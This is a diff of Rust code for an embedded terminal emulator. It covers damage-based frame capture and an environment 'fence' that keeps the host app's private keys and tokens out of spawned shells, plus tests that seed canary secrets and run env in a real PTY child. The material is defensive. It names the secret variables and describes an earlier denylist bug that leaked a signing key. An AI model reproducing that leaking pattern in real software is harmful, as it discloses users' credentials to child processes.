// each damaged active-area line by the display offset and drops the ones
|
||||||
|
// that scrolling pushed off the bottom (`TermDamageIterator::new`). So both
|
||||||
|
// arms below speak the same coordinate, and `row_of` converts once.
|
||||||
|
let (lines, full) = match term.damage() {
|
||||||
|
TermDamage::Full => ((0..screen_lines).collect::<Vec<_>>(), true),
|
||||||
|
TermDamage::Partial(iter) => (
|
||||||
|
iter.map(|bounds| bounds.line)
|
||||||
|
.filter(|l| *l < screen_lines)
|
||||||
|
.collect(),
|
||||||
|
false,
|
||||||
|
),
|
||||||
|
};
|
||||||
|
|
||||||
|
let grid = term.grid();
|
||||||
|
let mut rows = Vec::with_capacity(lines.len());
|
||||||
|
for line in lines {
|
||||||
|
let row = &grid[row_of(line, display_offset)];
|
||||||
|
rows.push((line, row[..Column(columns)].to_vec()));
|
||||||
|
}
|
||||||
|
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
|
||||||
|
|
||||||
|
term.reset_damage();
|
||||||
|
RawFrame {
|
||||||
|
rows,
|
||||||
|
cursor,
|
||||||
|
full,
|
||||||
|
viewport,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Copy the **entire visible viewport**, leaving damage untouched.
|
||||||
|
///
|
||||||
|
/// This exists for subscribers that arrive mid-stream: attach, reattach, and
|
||||||
|
/// the successor side of a resize. Damage only describes what changed since
|
||||||
|
/// the last capture, so a newcomer that starts from [`capture`] sees whatever
|
||||||
|
/// happened to change next -- often just the cursor's line -- painted onto a
|
||||||
|
/// blank screen. Upstream's `mark_fully_damaged` is private, so an embedder
|
||||||
|
/// cannot ask for a full frame that way.
|
||||||
|
///
|
||||||
|
/// **It must not consume damage, and that is the load-bearing property.** The
|
||||||
|
/// incumbent subscriber's next [`capture`] has to still see its rows. If this
|
||||||
|
/// called `damage()`/`reset_damage()` it would steal them, and the incumbent
|
||||||
|
/// would freeze on stale content while a newcomer's full-frame test passed.
|
||||||
|
/// The absence of those two calls below is the mechanism; `snapshot_test.rs`
|
||||||
|
/// is the proof.
|
||||||
|
///
|
||||||
|
/// **Runs under the lock; does no encoding.** Costs a full grid copy rather
|
||||||
|
/// than a damaged-rows copy, so it belongs on attach, not in the frame loop.
|
||||||
|
pub fn capture_all(terminal: &mut crate::Terminal) -> RawFrame {
|
||||||
|
let viewport = terminal.viewport();
|
||||||
|
let display_offset = terminal.display_offset();
|
||||||
|
let term = terminal.term_mut();
|
||||||
|
let columns = term.columns();
|
||||||
|
let screen_lines = term.screen_lines();
|
||||||
|
let cursor_point = term.grid().cursor.point;
|
||||||
|
let shown = term
|
||||||
|
.mode()
|
||||||
|
.contains(alacritty_terminal::term::TermMode::SHOW_CURSOR);
|
||||||
|
|
||||||
|
let grid = term.grid();
|
||||||
|
let mut rows = Vec::with_capacity(screen_lines);
|
||||||
|
for line in 0..screen_lines {
|
||||||
|
let row = &grid[row_of(line, display_offset)];
|
||||||
|
rows.push((line, row[..Column(columns)].to_vec()));
|
||||||
|
}
|
||||||
|
let cursor = cursor_frame(cursor_point, display_offset, screen_lines, shown);
|
||||||
|
|
||||||
|
// No `damage()` and no `reset_damage()`: see the note above.
|
||||||
|
RawFrame {
|
||||||
|
rows,
|
||||||
|
cursor,
|
||||||
|
// A snapshot *is* a repaint, and marking it full also resets the
|
||||||
|
// consumer's `Encoder` hashes, so its dedup state describes the grid it
|
||||||
|
// was actually given rather than a predecessor's.
|
||||||
|
full: true,
|
||||||
|
viewport,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Suppresses rows whose content did not actually change.
|
||||||
|
#[derive(Default)]
|
||||||
|
pub struct Encoder {
|
||||||
|
hashes: Vec<u64>,
|
||||||
|
cursor: Option<CursorFrame>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Encoder {
|
||||||
|
pub fn new() -> Self {
|
||||||
|
Self::default()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Encode a captured frame. **Runs with the lock released.**
|
||||||
|
pub fn encode(&mut self, raw: RawFrame) -> Frame {
|
||||||
|
// A full frame invalidates the dedup cache. Both routes that produce
|
||||||
|
// one matter: a `mark_fully_damaged` from scroll/alt-swap, and a resize,
|
||||||
|
// where the cached hashes describe rows of a different width entirely.
|
||||||
|
if raw.full {
|
||||||
|
self.hashes.clear();
|
||||||
|
}
|
||||||
|
let mut rows = Vec::with_capacity(raw.rows.len());
|
||||||
|
for (line, cells) in raw.rows {
|
||||||
|
let hash = hash_cells(&cells);
|
||||||
|
if self.hashes.len() <= line {
|
||||||
|
self.hashes.resize(line + 1, 0);
|
||||||
|
}
|
||||||
|
if self.hashes[line] == hash {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
self.hashes[line] = hash;
|
||||||
|
rows.push(RowFrame {
|
||||||
|
line,
|
||||||
|
spans: spans(&cells),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
let cursor_changed = self.cursor != Some(raw.cursor);
|
||||||
|
self.cursor = Some(raw.cursor);
|
||||||
|
Frame {
|
||||||
|
rows,
|
||||||
|
cursor: raw.cursor,
|
||||||
|
cursor_changed,
|
||||||
|
full: raw.full,
|
||||||
|
viewport: raw.viewport,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn hash_cells(cells: &[Cell]) -> u64 {
|
||||||
|
let mut hasher = DefaultHasher::new();
|
||||||
|
for cell in cells {
|
||||||
|
cell.c.hash(&mut hasher);
|
||||||
|
// Hash the *packed* colors, not the enum: this is the representation
|
||||||
|
// the renderer receives, so the dedup key cannot disagree with the
|
||||||
|
// wire encoding and suppress a row that actually changed on screen.
|
||||||
|
pack_color(cell.fg).hash(&mut hasher);
|
||||||
|
pack_color(cell.bg).hash(&mut hasher);
|
||||||
|
cell.flags.bits().hash(&mut hasher);
|
||||||
|
if let Some(zerowidth) = cell.zerowidth() {
|
||||||
|
zerowidth.hash(&mut hasher);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
hasher.finish()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Group a row's cells into runs of uniform style and width.
|
||||||
|
///
|
||||||
|
/// A run continues only while style *and* width match, and a cell carrying
|
||||||
|
/// zerowidth marks is always emitted alone. Both breaks exist so the consumer
|
||||||
|
/// can compute each cluster's column as `column + i * width`; see [`Span`].
|
||||||
|
///
|
||||||
|
/// The width comparison is the only thing keeping widths uniform within a run:
|
||||||
|
/// [`Style`] deliberately excludes [`GEOMETRY_FLAGS`], so a style key cannot
|
||||||
|
/// break a run on width behind this check's back.
|
||||||
|
fn spans(cells: &[Cell]) -> Vec<Span> {
|
||||||
|
let mut spans: Vec<Span> = Vec::new();
|
||||||
|
// Whether the run in progress may still be extended. Kept here rather than
|
||||||
|
// on `Span` because it is grouping bookkeeping, not part of the wire shape.
|
||||||
|
let mut open = false;
|
||||||
|
for (column, cell) in cells.iter().enumerate() {
|
||||||
|
// A wide glyph occupies two cells: the character, then a spacer. The
|
||||||
|
// spacer carries no text of its own -- emitting its placeholder space
|
||||||
|
// would insert a phantom column after every CJK character or emoji.
|
||||||
|
if cell.flags.contains(Flags::WIDE_CHAR_SPACER) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let style = style_of(cell);
|
||||||
|
let width = if cell.flags.contains(Flags::WIDE_CHAR) {
|
||||||
|
2
|
||||||
|
} else {
|
||||||
|
1
|
||||||
|
};
|
||||||
|
let zerowidth = cell.zerowidth();
|
||||||
|
let mut text = String::new();
|
||||||
|
text.push(cell.c);
|
||||||
|
if let Some(marks) = zerowidth {
|
||||||
|
text.extend(marks);
|
||||||
|
}
|
||||||
|
|
||||||
|
// A cluster with combining marks holds more `char`s than columns, so it
|
||||||
|
// cannot share a run: it is the one case where "one char per cluster"
|
||||||
|
// stops holding.
|
||||||
|
let joinable = zerowidth.is_none();
|
||||||
|
match spans.last_mut() {
|
||||||
|
// `cluster_count` is refused rather than wrapped when it would
|
||||||
|
// overflow: the run simply ends and a new span starts at this
|
||||||
|
// column, which the consumer's rule already handles.
|
||||||
|
Some(last)
|
||||||
|
if open
|
||||||
|
&& joinable
|
||||||
|
&& last.style == style
|
||||||
|
&& last.width == width
|
||||||
|
&& last.cluster_count < u16::MAX =>
|
||||||
|
{
|
||||||
|
last.text.push_str(&text);
|
||||||
|
last.cluster_count += 1;
|
||||||
|
}
|
||||||
|
_ => spans.push(Span {
|
||||||
|
column,
|
||||||
|
text,
|
||||||
|
width,
|
||||||
|
cluster_count: 1,
|
||||||
|
style,
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
open = joinable;
|
||||||
|
}
|
||||||
|
// Enforced in release, not just in debug. This is a *wire* invariant: a
|
||||||
|
// span that violates it is undecodable by the rule in [`Span`], and the
|
||||||
|
// consumer's failure is silent misplacement of every cluster after it.
|
||||||
|
// A `debug_assert` here would vanish in exactly the build where that
|
||||||
|
// corruption ships. The cost is one pass over text already in cache --
|
||||||
|
// the same order as building the spans -- and it buys a loud, local
|
||||||
|
// failure instead of a renderer quietly drawing the wrong columns.
|
||||||
|
assert!(
|
||||||
|
spans.iter().all(Span::counts_are_consistent),
|
||||||
|
"cluster_count must be 1 or the span's char count"
|
||||||
|
);
|
||||||
|
spans
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Flags describing where a cell sits in the grid rather than how it looks.
|
||||||
|
///
|
||||||
|
/// `WRAPLINE` marks the last cell of a row that wrapped; the three wide-char
|
||||||
|
/// bits mark a two-column glyph and its spacer. Neither says anything about
|
||||||
|
/// appearance.
|
||||||
|
///
|
||||||
|
/// These are excluded from [`Style`] so the style key means one thing: visual
|
||||||
|
/// attributes. Geometry travels in [`Span::width`], which is compared on its
|
||||||
|
/// own when grouping -- if these bits stayed in the key they would break runs
|
||||||
|
/// as a side effect and leave the width comparison untestable.
|
||||||
|
///
|
||||||
|
/// Composite visual aliases (`BOLD_ITALIC`, `DIM_BOLD`, `ALL_UNDERLINES`) are
|
||||||
|
/// deliberately not masked: those are appearance.
|
||||||
|
const GEOMETRY_FLAGS: Flags = Flags::WRAPLINE
|
||||||
|
.union(Flags::WIDE_CHAR)
|
||||||
|
.union(Flags::WIDE_CHAR_SPACER)
|
||||||
|
.union(Flags::LEADING_WIDE_CHAR_SPACER);
|
||||||
|
|
||||||
|
fn style_of(cell: &Cell) -> Style {
|
||||||
|
Style {
|
||||||
|
fg: pack_color(cell.fg),
|
||||||
|
bg: pack_color(cell.bg),
|
||||||
|
flags: cell.flags.difference(GEOMETRY_FLAGS).bits(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Pack a color into a tagged u32 the renderer resolves against the theme.
|
||||||
|
///
|
||||||
|
/// Named and indexed colors stay symbolic rather than being resolved here:
|
||||||
|
/// the substrate must follow the user's chosen theme, so the palette belongs
|
||||||
|
/// to the renderer, not to a snapshot taken at damage time.
|
||||||
|
fn pack_color(color: alacritty_terminal::vte::ansi::Color) -> u32 {
|
||||||
|
use alacritty_terminal::vte::ansi::Color;
|
||||||
|
match color {
|
||||||
|
Color::Named(named) => 0x0100_0000 | named as u32,
|
||||||
|
Color::Indexed(index) => 0x0200_0000 | index as u32,
|
||||||
|
Color::Spec(rgb) => {
|
||||||
|
0x0300_0000 | ((rgb.r as u32) << 16) | ((rgb.g as u32) << 8) | rgb.b as u32
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
85
desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs
Normal file
85
desktop/src-tauri/crates/buzz-terminal/src/env_fence.rs
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
//! Environment fence for spawned PTY children.
|
||||||
|
//!
|
||||||
|
//! Buzz's own process holds `BUZZ_PRIVATE_KEY` (an nsec), `BUZZ_AUTH_TAG`, and
|
||||||
|
//! relay credentials. `portable_pty::CommandBuilder::new()` pre-seeds its env
|
||||||
|
//! map from `std::env::vars_os()` (`cmdbuilder.rs:218` -> `get_base_env()`
|
||||||
|
//! `:74`), so a shell spawned with the default builder inherits **all** of it:
|
||||||
|
//! the user types `env` and reads the signing key off the screen.
|
||||||
|
//!
|
||||||
|
//! The in-repo `feat/terminal` branch (`4f287d158`, abandoned 2026-05-22)
|
||||||
|
//! demonstrates the failure mode this module exists to prevent. It removed
|
||||||
|
//! seven Hermit/macOS keys by denylist under a comment promising "a clean
|
||||||
|
//! environment" and passed 68 variables — including the nsec — to the child.
|
||||||
|
//! A denylist is only as current as the last time someone remembered to
|
||||||
|
//! extend it; it was correct for the polluted-`PATH` threat it was written
|
||||||
|
//! for and became a key-disclosure bug when the app started holding secrets.
|
||||||
|
//!
|
||||||
|
//! So: **allowlist, never denylist.** Clear the inherited environment
|
||||||
|
//! wholesale, then rebuild only what a terminal legitimately needs.
|
||||||
|
|
||||||
|
use portable_pty::CommandBuilder;
|
||||||
|
|
||||||
|
/// Keys the child is allowed to inherit from Buzz's own environment.
|
||||||
|
///
|
||||||
|
/// Deliberately minimal: each entry is something a shell genuinely cannot
|
||||||
|
/// function without, or that visibly degrades the session by its absence.
|
||||||
|
/// Anything not listed here does not reach the child, including keys that do
|
||||||
|
/// not exist yet — which is the property a denylist cannot offer.
|
||||||
|
const INHERIT_ALLOWLIST: &[&str] = &[
|
||||||
|
"HOME", // shell startup files, ~ expansion
|
||||||
|
"USER", // prompt expansion, `whoami`-adjacent tooling
|
||||||
|
"LOGNAME", // POSIX companion to USER
|
||||||
|
"LANG", // UTF-8 decoding of the child's own output
|
||||||
|
"LC_ALL", // explicit locale override, when set
|
||||||
|
"LC_CTYPE", // character classification; wide/emoji handling
|
||||||
|
"TZ", // timestamps in prompts and logs
|
||||||
|
"TMPDIR", // per-user temp dir; absence breaks many tools on macOS
|
||||||
|
];
|
||||||
|
|
||||||
|
/// Values Buzz sets on the child unconditionally, overriding any inherited
|
||||||
|
/// value. `TERM` in particular must describe *our* emulator, not whatever
|
||||||
|
/// terminal happened to launch the desktop app.
|
||||||
|
const OVERRIDES: &[(&str, &str)] = &[
|
||||||
|
("TERM", "xterm-256color"),
|
||||||
|
("TERM_PROGRAM", "Buzz"),
|
||||||
|
("COLORTERM", "truecolor"),
|
||||||
|
];
|
||||||
|
|
||||||
|
/// Applies the environment fence to `cmd`, returning it for chaining.
|
||||||
|
///
|
||||||
|
/// Ordering is load-bearing and the reverse fails silently: `env_clear()`
|
||||||
|
/// discards every accumulated entry, so clearing *after* populating yields a
|
||||||
|
/// child with an empty environment and no error anywhere. Clear first, then
|
||||||
|
/// rebuild.
|
||||||
|
///
|
||||||
|
/// `shell` is the *resolved* shell from [`crate::shell::resolve_shell`], and
|
||||||
|
/// it is injected rather than inherited. Buzz's own `SHELL` and the shell we
|
||||||
|
/// actually spawn are different values in exactly the cases the resolution
|
||||||
|
/// fallback exists for — a Finder-launched app with no `$SHELL`, or a
|
||||||
|
/// `$SHELL` that fails the executable-regular-file check — so inheriting it
|
||||||
|
/// would tell the child it is running something it is not.
|
||||||
|
pub fn fence_env(cmd: &mut CommandBuilder, path: &str, shell: &str) {
|
||||||
|
// 1. Drop the inherited environment wholesale, secrets included.
|
||||||
|
cmd.env_clear();
|
||||||
|
|
||||||
|
// 2. Rebuild only the allowlisted keys that are actually present.
|
||||||
|
for key in INHERIT_ALLOWLIST {
|
||||||
|
if let Some(value) = std::env::var_os(key) {
|
||||||
|
cmd.env(key, value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Apply Buzz's own terminal identity.
|
||||||
|
for (key, value) in OVERRIDES {
|
||||||
|
cmd.env(key, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. PATH is supplied by the caller rather than inherited; see
|
||||||
|
// `path::user_shell_path`.
|
||||||
|
cmd.env("PATH", path);
|
||||||
|
|
||||||
|
// 5. The resolved shell, last. `CommandBuilder::as_command` writes its own
|
||||||
|
// `SHELL` before applying this map (`cmdbuilder.rs:528-536`), so our
|
||||||
|
// explicit entry is the one the child sees.
|
||||||
|
cmd.env("SHELL", shell);
|
||||||
|
}
|
||||||
359
desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs
Normal file
359
desktop/src-tauri/crates/buzz-terminal/src/env_fence_tests.rs
Normal file
@@ -0,0 +1,359 @@
|
|||||||
|
//! Secret-leak gate for the environment fence.
|
||||||
|
//!
|
||||||
|
//! These tests spawn a real PTY child and read its actual environment. An
|
||||||
|
//! assertion against the `CommandBuilder` alone would be weaker: it would not
|
||||||
|
//! prove that what the builder holds is what the kernel hands the child.
|
||||||
|
|
||||||
|
use crate::env_fence::fence_env;
|
||||||
|
use crate::path::user_shell_path;
|
||||||
|
use crate::shell::{is_executable_file, login_argv0, resolve_shell, FALLBACK_SHELL};
|
||||||
|
use portable_pty::{native_pty_system, CommandBuilder, PtySize};
|
||||||
|
use std::io::Read;
|
||||||
|
|
||||||
|
/// Secrets Buzz's own process holds. Sourced from the desktop crate's
|
||||||
|
/// `RESERVED_ENV_KEYS` (`src/managed_agents/env_vars.rs:58`); duplicated
|
||||||
|
/// rather than imported because this crate deliberately has no dependency
|
||||||
|
/// on the Tauri crate. `reserved_keys_are_covered` keeps the two in step.
|
||||||
|
const SECRET_KEYS: &[&str] = &[
|
||||||
|
"BUZZ_PRIVATE_KEY",
|
||||||
|
"NOSTR_PRIVATE_KEY",
|
||||||
|
"BUZZ_AUTH_TAG",
|
||||||
|
"BUZZ_API_TOKEN",
|
||||||
|
"BUZZ_ACP_PRIVATE_KEY",
|
||||||
|
"BUZZ_ACP_API_TOKEN",
|
||||||
|
"BUZZ_RELAY_URL",
|
||||||
|
];
|
||||||
|
|
||||||
|
const CANARY: &str = "SAMI_CANARY_MUST_NOT_LEAK";
|
||||||
|
|
||||||
|
/// Uniquely-named executable seeded into Buzz's own PATH; the child must not
|
||||||
|
/// be able to run it.
|
||||||
|
const CANARY_BIN: &str = "buzz-hermit-canary-tool";
|
||||||
|
|
||||||
|
/// Creates a fixture file at `name` with `mode`, replacing any leftover from
|
||||||
|
/// a previous run.
|
||||||
|
///
|
||||||
|
/// The removal is not tidiness: a fixture written at mode `0o010` is not
|
||||||
|
/// writable by its own owner, so a second run in the same temp dir fails with
|
||||||
|
/// `Permission denied` before reaching a single assertion. Green on a fresh
|
||||||
|
/// runner, red on a persistent one — a test must not depend on which it got.
|
||||||
|
#[cfg(unix)]
|
||||||
|
fn fixture_file(name: &str, contents: &str, mode: u32) -> std::path::PathBuf {
|
||||||
|
use std::os::unix::fs::PermissionsExt;
|
||||||
|
|
||||||
|
let path = std::env::temp_dir().join(name);
|
||||||
|
let _ = std::fs::remove_file(&path);
|
||||||
|
std::fs::write(&path, contents).expect("write fixture");
|
||||||
|
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode)).expect("chmod fixture");
|
||||||
|
path
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Runs `env` in a real PTY child under the full fence and returns its output.
|
||||||
|
fn fenced_child_environment() -> String {
|
||||||
|
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
|
||||||
|
child_environment(|cmd| fence_env(cmd, &user_shell_path(), &shell))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Runs `env` in a real PTY child and returns its raw output.
|
||||||
|
fn child_environment(build: impl FnOnce(&mut CommandBuilder)) -> String {
|
||||||
|
child_command(build, "env")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Runs `script` in a real PTY child under `build`'s fence and returns the
|
||||||
|
/// child's output.
|
||||||
|
///
|
||||||
|
/// The child is a real process on a real PTY rather than an inspection of the
|
||||||
|
/// `CommandBuilder`: the builder is what we asked for, and the child's
|
||||||
|
/// `environ` is what the kernel actually delivered. Only the second one is the
|
||||||
|
/// property under test.
|
||||||
|
fn child_command(build: impl FnOnce(&mut CommandBuilder), script: &str) -> String {
|
||||||
|
let pty = native_pty_system();
|
||||||
|
let pair = pty
|
||||||
|
.openpty(PtySize {
|
||||||
|
rows: 24,
|
||||||
|
cols: 80,
|
||||||
|
pixel_width: 0,
|
||||||
|
pixel_height: 0,
|
||||||
|
})
|
||||||
|
.expect("openpty");
|
||||||
|
|
||||||
|
let mut cmd = CommandBuilder::new("/bin/sh");
|
||||||
|
build(&mut cmd);
|
||||||
|
cmd.arg("-c");
|
||||||
|
cmd.arg(script);
|
||||||
|
|
||||||
|
let mut child = pair.slave.spawn_command(cmd).expect("spawn");
|
||||||
|
drop(pair.slave);
|
||||||
|
|
||||||
|
let mut reader = pair.master.try_clone_reader().expect("reader");
|
||||||
|
let mut out = String::new();
|
||||||
|
reader.read_to_string(&mut out).expect("read child output");
|
||||||
|
child.wait().expect("wait");
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Seeds this process with secrets so the fence has something to leak.
|
||||||
|
///
|
||||||
|
/// Note these are process-global; the tests that rely on them assert on a
|
||||||
|
/// canary value they set themselves, so a real `BUZZ_PRIVATE_KEY` in the
|
||||||
|
/// developer's environment neither masks a failure nor causes one.
|
||||||
|
fn seed_secrets() {
|
||||||
|
for key in SECRET_KEYS {
|
||||||
|
std::env::set_var(key, format!("{CANARY}_{key}"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn fence_keeps_secrets_out_of_the_child() {
|
||||||
|
seed_secrets();
|
||||||
|
let out = fenced_child_environment();
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
!out.contains(CANARY),
|
||||||
|
"a reserved secret reached the child environment:\n{out}"
|
||||||
|
);
|
||||||
|
for key in SECRET_KEYS {
|
||||||
|
assert!(
|
||||||
|
!out.lines().any(|line| line.starts_with(&format!("{key}="))),
|
||||||
|
"{key} reached the child environment:\n{out}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The other half of the assertion. A fence that clears in the wrong order
|
||||||
|
/// produces an empty environment: it passes the leak check above while
|
||||||
|
/// shipping a shell with no context and no error. Asserting only the negative
|
||||||
|
/// would ratify that bug.
|
||||||
|
#[test]
|
||||||
|
fn fence_still_delivers_the_terminal_contract() {
|
||||||
|
seed_secrets();
|
||||||
|
let out = fenced_child_environment();
|
||||||
|
|
||||||
|
for (key, value) in [("TERM", "xterm-256color"), ("TERM_PROGRAM", "Buzz")] {
|
||||||
|
assert!(
|
||||||
|
out.lines().any(|line| line == format!("{key}={value}")),
|
||||||
|
"{key} missing from child environment:\n{out}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
assert!(
|
||||||
|
out.lines().any(|line| line.starts_with("PATH=")),
|
||||||
|
"PATH missing from child environment:\n{out}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The fence must be exhaustive, not enumerated: a secret invented tomorrow
|
||||||
|
/// is excluded because it was never allowlisted. This is the property the
|
||||||
|
/// `feat/terminal` denylist could not offer.
|
||||||
|
#[test]
|
||||||
|
fn fence_excludes_keys_it_has_never_heard_of() {
|
||||||
|
std::env::set_var("BUZZ_SOME_FUTURE_CREDENTIAL", CANARY);
|
||||||
|
let out = fenced_child_environment();
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
!out.contains("BUZZ_SOME_FUTURE_CREDENTIAL"),
|
||||||
|
"an unknown key reached the child:\n{out}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `PATH` is constructed, not inherited, so Buzz's Hermit build toolchain
|
||||||
|
/// never becomes the user's shell toolchain.
|
||||||
|
///
|
||||||
|
/// The assertion is *reachability*, not a string comparison: we seed a
|
||||||
|
/// uniquely-named executable into this process's `PATH` and prove the child
|
||||||
|
/// cannot run it. A string check would pass a fence that inherited a
|
||||||
|
/// differently-spelled toolchain directory, and would fail a fence that
|
||||||
|
/// legitimately contained the substring; `command -v` asks the question the
|
||||||
|
/// user actually asks by typing a command name.
|
||||||
|
#[test]
|
||||||
|
fn child_path_is_free_of_buzz_toolchain() {
|
||||||
|
let dir = std::env::temp_dir().join("buzz-terminal-path-canary");
|
||||||
|
std::fs::create_dir_all(&dir).expect("canary dir");
|
||||||
|
let canary = dir.join(CANARY_BIN);
|
||||||
|
std::fs::write(&canary, "#!/bin/sh\necho canary\n").expect("write canary");
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
use std::os::unix::fs::PermissionsExt;
|
||||||
|
std::fs::set_permissions(&canary, std::fs::Permissions::from_mode(0o755))
|
||||||
|
.expect("chmod canary");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stand in for Hermit activation: Buzz's own PATH leads with a directory
|
||||||
|
// holding a tool the user does not have.
|
||||||
|
std::env::set_var("PATH", format!("{}:/usr/bin:/bin", dir.display()));
|
||||||
|
assert!(
|
||||||
|
is_executable_file(&canary),
|
||||||
|
"test setup: canary must be executable"
|
||||||
|
);
|
||||||
|
|
||||||
|
let shell = resolve_shell(std::env::var("SHELL").ok().as_deref());
|
||||||
|
let out = child_environment(|cmd| {
|
||||||
|
fence_env(cmd, &user_shell_path(), &shell);
|
||||||
|
});
|
||||||
|
let path_line = out
|
||||||
|
.lines()
|
||||||
|
.find(|line| line.starts_with("PATH="))
|
||||||
|
.expect("child has a PATH");
|
||||||
|
assert!(
|
||||||
|
!path_line.contains("buzz-terminal-path-canary"),
|
||||||
|
"Buzz's toolchain leaked into the child PATH: {path_line}"
|
||||||
|
);
|
||||||
|
|
||||||
|
// The reachability arm: run `command -v` for the canary inside the fence.
|
||||||
|
let resolved = child_command(
|
||||||
|
|cmd| fence_env(cmd, &user_shell_path(), &shell),
|
||||||
|
&format!("command -v {CANARY_BIN} || echo CANARY_UNREACHABLE"),
|
||||||
|
);
|
||||||
|
assert!(
|
||||||
|
resolved.contains("CANARY_UNREACHABLE"),
|
||||||
|
"a Buzz-only executable was reachable from the child shell: {resolved}"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `$SHELL` is honoured when it names an executable regular file.
|
||||||
|
#[test]
|
||||||
|
fn resolve_shell_prefers_a_valid_shell_env() {
|
||||||
|
assert_eq!(resolve_shell(Some("/bin/sh")), "/bin/sh");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The other direction: an unset `$SHELL` must fall through to the **passwd
|
||||||
|
/// database**, not to the hardcoded fallback.
|
||||||
|
///
|
||||||
|
/// Asserting merely that the result is executable is vacuous — `/bin/sh` is
|
||||||
|
/// executable, so a resolver with the passwd step deleted entirely passes it.
|
||||||
|
/// Verified: mutant M8 (drop `.or_else(passwd_shell)`) survived that weaker
|
||||||
|
/// assertion. The property is *equality with the passwd entry*, and the
|
||||||
|
/// discriminating-power guard below refuses to pass silently on a machine
|
||||||
|
/// where the two candidates coincide.
|
||||||
|
#[test]
|
||||||
|
fn resolve_shell_falls_through_to_passwd_not_the_default() {
|
||||||
|
let Some(passwd) = crate::shell::passwd_shell() else {
|
||||||
|
panic!("no usable passwd shell; this gate cannot run on this machine");
|
||||||
|
};
|
||||||
|
assert_ne!(
|
||||||
|
passwd, FALLBACK_SHELL,
|
||||||
|
"passwd shell equals the fallback, so this test cannot tell the \
|
||||||
|
passwd step from its absence; it must not report success"
|
||||||
|
);
|
||||||
|
assert_eq!(
|
||||||
|
resolve_shell(None),
|
||||||
|
passwd,
|
||||||
|
"an unset $SHELL did not resolve to the passwd entry"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `access(X_OK)` returns 0 for a directory, so a `$SHELL` pointing at one
|
||||||
|
/// passes portable-pty's own check and produces a child that dies with a Rust
|
||||||
|
/// runtime panic. Requiring an executable *regular file* is what closes it.
|
||||||
|
#[test]
|
||||||
|
fn resolve_shell_rejects_a_directory_that_passes_x_ok() {
|
||||||
|
let dir = std::env::temp_dir();
|
||||||
|
assert!(
|
||||||
|
!is_executable_file(&dir),
|
||||||
|
"a directory must not qualify as a shell"
|
||||||
|
);
|
||||||
|
assert_ne!(
|
||||||
|
resolve_shell(dir.to_str()),
|
||||||
|
dir.to_str().unwrap(),
|
||||||
|
"a directory $SHELL was accepted; the child would abort on spawn"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Raw mode bits are not effective executability: a self-owned regular file
|
||||||
|
/// at mode `0o010` has `mode & 0o111 != 0` while `access(X_OK)` fails and
|
||||||
|
/// running it gives `Permission denied`. The metadata half of the predicate
|
||||||
|
/// cannot see this; only the `access` half can.
|
||||||
|
#[test]
|
||||||
|
fn resolve_shell_rejects_a_file_the_user_cannot_execute() {
|
||||||
|
use std::os::unix::fs::PermissionsExt;
|
||||||
|
|
||||||
|
let path = fixture_file("buzz-terminal-group-only-exec", "#!/bin/sh\ntrue\n", 0o010);
|
||||||
|
let mode = std::fs::metadata(&path).expect("stat").permissions().mode();
|
||||||
|
assert!(
|
||||||
|
mode & 0o111 != 0,
|
||||||
|
"test setup: some class must hold an execute bit, else this arm \
|
||||||
|
cannot discriminate the mode check from the access check"
|
||||||
|
);
|
||||||
|
|
||||||
|
assert!(
|
||||||
|
!is_executable_file(&path),
|
||||||
|
"a file the effective user cannot execute was accepted as a shell"
|
||||||
|
);
|
||||||
|
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A non-executable regular file falls through as well.
|
||||||
|
#[test]
|
||||||
|
fn resolve_shell_rejects_a_non_executable_file() {
|
||||||
|
let path = fixture_file("buzz-terminal-not-a-shell", "not a shell", 0o644);
|
||||||
|
assert_ne!(resolve_shell(path.to_str()), path.to_str().unwrap());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The login convention is `-<basename>`, applied without inspecting the
|
||||||
|
/// shell's name. Any shell — including ones that do not exist yet — gets
|
||||||
|
/// login semantics from argv0 rather than from a flag we guessed.
|
||||||
|
#[test]
|
||||||
|
fn login_argv0_is_shell_neutral() {
|
